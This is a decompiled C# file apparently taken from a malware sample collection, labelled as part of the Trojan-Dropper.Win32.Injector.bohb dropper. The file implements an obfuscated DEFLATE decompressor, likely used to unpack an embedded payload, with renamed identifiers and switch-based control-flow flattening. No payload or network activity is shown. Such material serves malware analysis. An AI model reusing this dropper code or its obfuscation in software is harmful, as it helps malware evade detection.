MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.bohb-8459fa9a1d18ad0edf27e23258c967c9e734b43e94385e7834ac8244fbf1249c/.cs

// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Msil, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 592E0705-5FE3-456B-BE3B-BDC64BF0EA12
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Injector.bohb-8459fa9a1d18ad0edf27e23258c967c9e734b43e94385e7834ac8244fbf1249c.exe

using System;
using System.IO;

internal sealed class \uE00E
{
  public static void \uE000(Stream _param0, Stream _param1)
  {
    byte[] buffer = new byte[4096];
    \uE00E.\uE000 obj = new \uE00E.\uE000(_param0);
    while (true)
    {
      int count = obj.\uE000(buffer, 0, buffer.Length);
      if ((count <= 0 ? 0 : 1) != 0)
        _param1.Write(buffer, 0, count);
      else
        break;
    }
  }

  public sealed class \uE000
  {
    private \uE00E.\uE009 \uE000 = new \uE00E.\uE009(32769);
    private \uE00E.\uE008 \uE001;
    private \uE00D \uE002;
    private int \uE003 = -1;
    private int \uE004 = -1;
    private bool \uE005;
    private int \uE006;
    private long \uE007;
    private long \uE008;
    private bool \uE009;
    private int \uE00A;
    private bool \uE00B;

    public \uE000(Stream _param1) => this.\uE001 = new \uE00E.\uE008(_param1);

    public int \uE000(byte[] _param1, int _param2, int _param3)
    {
      if ((_param1 == null ? 0 : 1) == 0)
        throw new ArgumentNullException();
      if (_param3 == 0 || this.\uE009)
        return 0;
      int num1 = 0;
label_15:
      while (num1 < _param3)
      {
        while (this.\uE003 < 0 && !this.\uE009)
          this.\uE009 = !this.\uE001();
        if (!this.\uE009)
        {
          int num2 = this.\uE002(_param1, _param2 + num1, _param3 - num1);
label_10:
          int num3 = 0;
          while (true)
          {
            switch (num3)
            {
              case 0:
                if (num2 > 0)
                {
                  num3 = 1;
                  continue;
                }
                goto label_14;
              case 1:
                num1 += num2;
                num3 = 2;
                continue;
              case 2:
                goto label_15;
              default:
                goto label_10;
            }
          }
label_14:
          this.\uE003 = -1;
        }
        else
          break;
      }
      return num1;
    }

    private bool \uE001()
    {
      if ((!this.\uE005 ? 1 : 0) == 0)
        return false;
      this.\uE007 = this.\uE001.\uE004;
label_4:
      int num1 = 2;
      int num2;
      while (true)
      {
        switch (num1)
        {
          case 0:
            switch (num2)
            {
              case 0:
                goto label_10;
              case 1:
                goto label_13;
              case 2:
                goto label_14;
              default:
                num1 = 4;
                continue;
            }
          case 1:
            this.\uE003 = this.\uE001.\uE000(2);
            num1 = 3;
            continue;
          case 2:
            this.\uE005 = this.\uE001.\uE000(1) > 0;
            num1 = 1;
            continue;
          case 3:
            num2 = this.\uE003;
            num1 = 0;
            continue;
          case 4:
            goto label_15;
          default:
            goto label_4;
        }
      }
label_10:
      this.\uE001.\uE001();
      int num3 = this.\uE001.\uE000(16);
      int num4 = this.\uE001.\uE000(16);
      this.\uE006 = (num3 & ~num4) == num3 ? num3 : throw new InvalidOperationException();
      this.\uE002 = (\uE00D) null;
      this.\uE00B = true;
      goto label_16;
label_13:
      \uE00B[] objArray1 = \uE00A.\uE011;
      \uE00B[] objArray2 = \uE00A.\uE012;
      this.\uE006 = 0;
      this.\uE002 = \uE00A.\uE013;
      this.\uE00B = false;
      goto label_16;
label_14:
      \uE00B[] objArray3;
      \uE00B[] objArray4;
      this.\uE009(this.\uE001, out objArray3, out objArray4);
      this.\uE006 = 0;
      this.\uE002 = \uE00A.\uE004(objArray3, objArray4);
      this.\uE00B = false;
      goto label_16;
label_15:
      throw new InvalidOperationException();
label_16:
      this.\uE008 = this.\uE001.\uE004;
      return true;
    }

    private int \uE002(byte[] _param1, int _param2, int _param3)
    {
      int num1 = _param2;
      if ((this.\uE003 == 0 ? 0 : 1) == 0)
      {
        if (this.\uE006 > 0)
        {
          int num2 = Math.Min(_param3, this.\uE006);
label_4:
          int num3 = 3;
          while (true)
          {
            switch (num3)
            {
              case 0:
                _param2 += num2;
                num3 = 5;
                continue;
              case 1:
                _param3 -= num2;
                num3 = 0;
                continue;
              case 2:
                this.\uE000.\uE001(_param1, _param2, num2);
                num3 = 4;
                continue;
              case 3:
                this.\uE001.\uE002(_param1, _param2, num2);
                num3 = 2;
                continue;
              case 4:
                this.\uE006 -= num2;
                num3 = 1;
                continue;
              case 5:
                goto label_22;
              default:
                goto label_4;
            }
          }
        }
      }
      else if (!this.\uE00B)
      {
        if (this.\uE00A > 0)
          this.\uE003(_param1, ref _param2, ref _param3);
        if (_param3 > 0)
        {
          do
          {
            int num4 = \uE00E.\uE000.\uE006(this.\uE001, this.\uE002.\uE000);
            this.\uE00B = num4 == 256;
            if (!this.\uE00B)
            {
              if (num4 < 256)
              {
                _param1[_param2++] = (byte) num4;
                this.\uE000.\uE000((byte) num4);
                --_param3;
              }
              else if (num4 <= 285)
              {
                int num5 = \uE00E.\uE000.\uE007(this.\uE001, num4);
                int num6 = \uE00E.\uE000.\uE008(this.\uE001, this.\uE002.\uE001);
                if ((long) num6 > this.\uE000.\uE003)
                  throw new InvalidOperationException();
                this.\uE004 = num6;
                this.\uE00A = num5;
                this.\uE003(_param1, ref _param2, ref _param3);
              }
            }
            else
              break;
          }
          while (_param3 > 0);
        }
      }
label_22:
      this.\uE008 = this.\uE001.\uE004;
      return _param2 - num1;
    }

    private void \uE003(byte[] _param1, ref int _param2, ref int _param3)
    {
      int num1 = Math.Min(this.\uE00A, _param3);
      byte[] sourceArray = this.\uE000.\uE002(this.\uE004, Math.Min(num1, this.\uE004));
      _param3 -= num1;
      this.\uE00A -= num1;
      while ((num1 <= sourceArray.Length ? 0 : 1) != 0)
      {
        Array.Copy((Array) sourceArray, 0, (Array) _param1, _param2, sourceArray.Length);
label_3:
        int num2 = 0;
        while (true)
        {
          switch (num2)
          {
            case 0:
              _param2 += sourceArray.Length;
              num2 = 1;
              continue;
            case 1:
              num1 -= sourceArray.Length;
              num2 = 2;
              continue;
            case 2:
              goto label_6;
            default:
              goto label_3;
          }
        }
label_6:
        this.\uE000.\uE001(sourceArray, 0, sourceArray.Length);
      }
      Array.Copy((Array) sourceArray, 0, (Array) _param1, _param2, num1);
      _param2 += num1;
      this.\uE000.\uE001(sourceArray, 0, num1);
    }

    public bool \uE004(int _param1)
    {
      byte[] numArray = new byte[1024];
      int num;
      while (_param1 > 0 && ((num = this.\uE000(numArray, 0, Math.Min(1024, _param1))) <= 0 ? 0 : 1) != 0)
        _param1 -= num;
      return _param1 <= 0;
    }

    public void \uE005()
    {
      byte[] numArray = new byte[1024];
      do
        ;
      while (this.\uE000(numArray, 0, 1024) > 0);
    }

    private static int \uE006(\uE00E.\uE008 _param0, \uE00C _param1)
    {
      while (true)
      {
        if (_param1 == null)
          goto label_7;
        else
          goto label_4;
label_3:
        int num;
        while (true)
        {
          switch (num)
          {
            case 0:
              if (_param1.\uE000)
              {
                num = 1;
                continue;
              }
              goto label_1;
            case 1:
              goto label_7;
            case 2:
              goto label_9;
            default:
              goto label_4;
          }
        }
label_1:
        _param1 = (_param0.\uE000(1) <= 0 ? 0 : 1) != 0 ? _param1.\uE003 : _param1.\uE002;
        continue;
label_4:
        num = 0;
        goto label_3;
label_7:
        if (_param1 == null)
        {
          num = 2;
          goto label_3;
        }
        else
          goto label_10;
      }
label_9:
      throw new InvalidOperationException();
label_10:
      return (int) _param1.\uE001;
    }

    private static int \uE007(\uE00E.\uE008 _param0, int _param1)
    {
      int num1;
      int num2;
      \uE00A.\uE007(_param1, out num1, out num2);
label_2:
      int num3 = 0;
      while (true)
      {
        switch (num3)
        {
          case 0:
            if (num2 > 0)
            {
              num3 = 1;
              continue;
            }
            goto label_6;
          case 1:
            goto label_5;
          default:
            goto label_2;
        }
      }
label_5:
      return num1 + _param0.\uE000(num2);
label_6:
      return num1;
    }

    private static int \uE008(\uE00E.\uE008 _param0, \uE00C _param1)
    {
      int index = \uE00E.\uE000.\uE006(_param0, _param1);
      int num1 = index <= 29 ? \uE00A.\uE017[index] : throw new InvalidOperationException();
label_4:
      int num2 = 1;
      int num3;
      int num4;
      while (true)
      {
        switch (num2)
        {
          case 0:
            if (num3 > 0)
            {
              num2 = 4;
              continue;
            }
            goto label_15;
          case 1:
            num3 = \uE00A.\uE018[index];
            num2 = 0;
            continue;
          case 2:
            if (index == 284)
            {
              num2 = 3;
              continue;
            }
            goto label_14;
          case 3:
            if (num4 > 30)
            {
              num2 = 5;
              continue;
            }
            goto label_14;
          case 4:
            num4 = _param0.\uE000(num3);
            num2 = 2;
            continue;
          case 5:
            goto label_13;
          default:
            goto label_4;
        }
      }
label_13:
      throw new InvalidOperationException();
label_14:
      return num1 + num4;
label_15:
      return num1;
    }

    private void \uE009(\uE00E.\uE008 _param1, out \uE00B[] _param2, out \uE00B[] _param3)
    {
      int length1 = _param1.\uE000(5) + 257;
label_2:
      int num1 = 1;
      int num2;
      int length2;
      while (true)
      {
        switch (num1)
        {
          case 0:
            num2 = _param1.\uE000(4) + 4;
            num1 = 2;
            continue;
          case 1:
            length2 = _param1.\uE000(5) + 1;
            num1 = 0;
            continue;
          case 2:
            if (length1 > 286)
            {
              num1 = 3;
              continue;
            }
            goto label_8;
          case 3:
            goto label_7;
          default:
            goto label_2;
        }
      }
label_7:
      throw new InvalidOperationException();
label_8:
      int[] numArray1 = \uE00A.\uE014;
      int[] numArray2 = new int[19];
      int index1 = 0;
      if ((index1 == 0 ? 1 : 0) != 0)
        goto label_10;
label_9:
      numArray2[numArray1[index1]] = _param1.\uE000(3);
      ++index1;
label_10:
      if (index1 >= num2)
      {
        \uE00C obj = \uE00A.\uE005(\uE00A.\uE002(numArray2));
        int[] numArray3 = \uE00E.\uE000.\uE00A(_param1, obj, length1 + length2);
        _param2 = new \uE00B[length1];
        for (int index2 = 0; index2 < length1; ++index2)
          _param2[index2].\uE001 = numArray3[index2];
        \uE00A.\uE003(_param2);
        _param3 = new \uE00B[length2];
        for (int index3 = 0; index3 < length2; ++index3)
          _param3[index3].\uE001 = numArray3[index3 + length1];
        \uE00A.\uE003(_param3);
      }
      else
        goto label_9;
    }

    private static int[] \uE00A(\uE00E.\uE008 _param0, \uE00C _param1, int _param2)
    {
      int[] numArray = new int[_param2];
      int index1 = 0;
      if ((index1 == 0 ? 1 : 0) != 0)
        goto label_22;
label_1:
      int num1 = \uE00E.\uE000.\uE006(_param0, _param1);
label_3:
      int num2 = 1;
      while (true)
      {
        switch (num2)
        {
          case 0:
            numArray[index1] = num1;
            num2 = 2;
            continue;
          case 1:
            if (num1 < 16)
            {
              num2 = 0;
              continue;
            }
            goto label_7;
          case 2:
            goto label_21;
          default:
            goto label_3;
        }
      }
label_7:
      switch (num1)
      {
        case 16:
          int num3 = _param0.\uE000(2) + 3;
          if (num3 + index1 > numArray.Length)
            throw new InvalidOperationException();
          for (int index2 = 0; index2 < num3; ++index2)
            numArray[index1 + index2] = numArray[index1 - 1];
          index1 += num3 - 1;
          break;
        case 17:
          int num4 = _param0.\uE000(3) + 3;
          if (num4 + index1 > numArray.Length)
            throw new InvalidOperationException();
          index1 += num4 - 1;
          break;
        case 18:
          int num5 = _param0.\uE000(7) + 11;
          if (num5 + index1 > numArray.Length)
            throw new InvalidOperationException();
          index1 += num5 - 1;
          break;
        default:
          throw new InvalidOperationException();
      }
label_21:
      ++index1;
label_22:
      if (index1 >= _param2)
        return numArray;
      goto label_1;
    }
  }

  private sealed class \uE008
  {
    private uint \uE000;
    private int \uE001;
    private int \uE002;
    private Stream \uE003;
    internal long \uE004;

    internal \uE008(Stream _param1) => this.\uE003 = _param1;

    internal int \uE000(int _param1)
    {
      this.\uE004 += (long) _param1;
      for (int index = _param1 - (this.\uE002 - this.\uE001); (index <= 0 ? 0 : 1) != 0; index -= 8)
      {
        this.\uE000 |= checked ((uint) this.\uE003.ReadByte()) << this.\uE002;
        this.\uE002 += 8;
      }
      int num1 = (int) (this.\uE000 >> this.\uE001) & (1 << _param1) - 1;
label_5:
      int num2 = 2;
      while (true)
      {
        switch (num2)
        {
          case 0:
            this.\uE002 = this.\uE001 = 0;
            num2 = 1;
            continue;
          case 1:
            this.\uE000 = 0U;
            num2 = 4;
            continue;
          case 2:
            this.\uE001 += _param1;
            num2 = 3;
            continue;
          case 3:
            if (this.\uE002 == this.\uE001)
            {
              num2 = 0;
              continue;
            }
            goto label_11;
          case 4:
            goto label_13;
          default:
            goto label_5;
        }
      }
label_11:
      if (this.\uE001 >= 8)
      {
        this.\uE000 >>= this.\uE001;
        this.\uE002 -= this.\uE001;
        this.\uE001 = 0;
      }
label_13:
      return num1;
    }

    internal void \uE001()
    {
      if (this.\uE002 != this.\uE001)
        this.\uE004 += (long) (this.\uE002 - this.\uE001);
      this.\uE002 = this.\uE001 = 0;
label_4:
      int num = 0;
      while (true)
      {
        switch (num)
        {
          case 0:
            this.\uE000 = 0U;
            num = 1;
            continue;
          case 1:
            goto label_6;
          default:
            goto label_4;
        }
      }
label_6:;
    }

    internal void \uE002(byte[] _param1, int _param2, int _param3)
    {
      if (this.\uE002 != this.\uE001)
        throw new InvalidOperationException();
      int num1 = this.\uE003.Read(_param1, _param2, _param3);
label_4:
      int num2 = 0;
      while (true)
      {
        switch (num2)
        {
          case 0:
            this.\uE004 += (long) (num1 << 3);
            num2 = 1;
            continue;
          case 1:
            if (num1 != _param3)
            {
              num2 = 2;
              continue;
            }
            goto label_7;
          case 2:
            goto label_9;
          default:
            goto label_4;
        }
      }
label_7:
      return;
label_9:
      throw new InvalidOperationException();
    }
  }

  private sealed class \uE009
  {
    private byte[] \uE000;
    private int \uE001;
    internal int \uE002;
    internal long \uE003;

    internal \uE009(int _param1)
    {
      this.\uE002 = _param1;
      this.\uE000 = new byte[_param1];
    }

    internal void \uE000(byte _param1)
    {
      this.\uE000[this.\uE001++] = _param1;
      if ((this.\uE001 >= this.\uE002 ? 0 : 1) == 0)
        this.\uE001 = 0;
      ++this.\uE003;
    }

    internal void \uE001(byte[] _param1, int _param2, int _param3)
    {
      this.\uE003 += (long) _param3;
      if ((_param3 >= this.\uE002 ? 0 : 1) == 0)
      {
        Array.Copy((Array) _param1, _param2, (Array) this.\uE000, 0, this.\uE002);
        this.\uE001 = 0;
      }
      else if (this.\uE001 + _param3 > this.\uE002)
      {
        int length1 = this.\uE002 - this.\uE001;
label_5:
        int num = 2;
        int length2;
        while (true)
        {
          switch (num)
          {
            case 0:
              Array.Copy((Array) _param1, _param2 + length1, (Array) this.\uE000, 0, length2);
              num = 1;
              continue;
            case 1:
              this.\uE001 = length2;
              num = 4;
              continue;
            case 2:
              length2 = this.\uE001 + _param3 - this.\uE002;
              num = 3;
              continue;
            case 3:
              Array.Copy((Array) _param1, _param2, (Array) this.\uE000, this.\uE001, length1);
              num = 0;
              continue;
            case 4:
              goto label_12;
            default:
              goto label_5;
          }
        }
label_12:;
      }
      else
      {
        Array.Copy((Array) _param1, _param2, (Array) this.\uE000, this.\uE001, _param3);
        this.\uE001 += _param3;
        if (this.\uE001 != this.\uE002)
          return;
        this.\uE001 = 0;
      }
    }

    internal byte[] \uE002(int _param1, int _param2)
    {
      byte[] destinationArray = new byte[_param2];
      if ((this.\uE001 >= _param1 ? 0 : 1) == 0)
      {
        Array.Copy((Array) this.\uE000, this.\uE001 - _param1, (Array) destinationArray, 0, _param2);
      }
      else
      {
        int num1 = _param1 - this.\uE001;
label_4:
        int num2 = 1;
        while (true)
        {
          switch (num2)
          {
            case 0:
              Array.Copy((Array) this.\uE000, 0, (Array) destinationArray, num1, _param2 - num1);
              num2 = 3;
              continue;
            case 1:
              if (num1 < _param2)
              {
                num2 = 2;
                continue;
              }
              goto label_9;
            case 2:
              Array.Copy((Array) this.\uE000, this.\uE002 - num1, (Array) destinationArray, 0, num1);
              num2 = 0;
              continue;
            case 3:
              goto label_10;
            default:
              goto label_4;
          }
        }
label_9:
        Array.Copy((Array) this.\uE000, this.\uE002 - num1, (Array) destinationArray, 0, _param2);
      }
label_10:
      return destinationArray;
    }
  }
}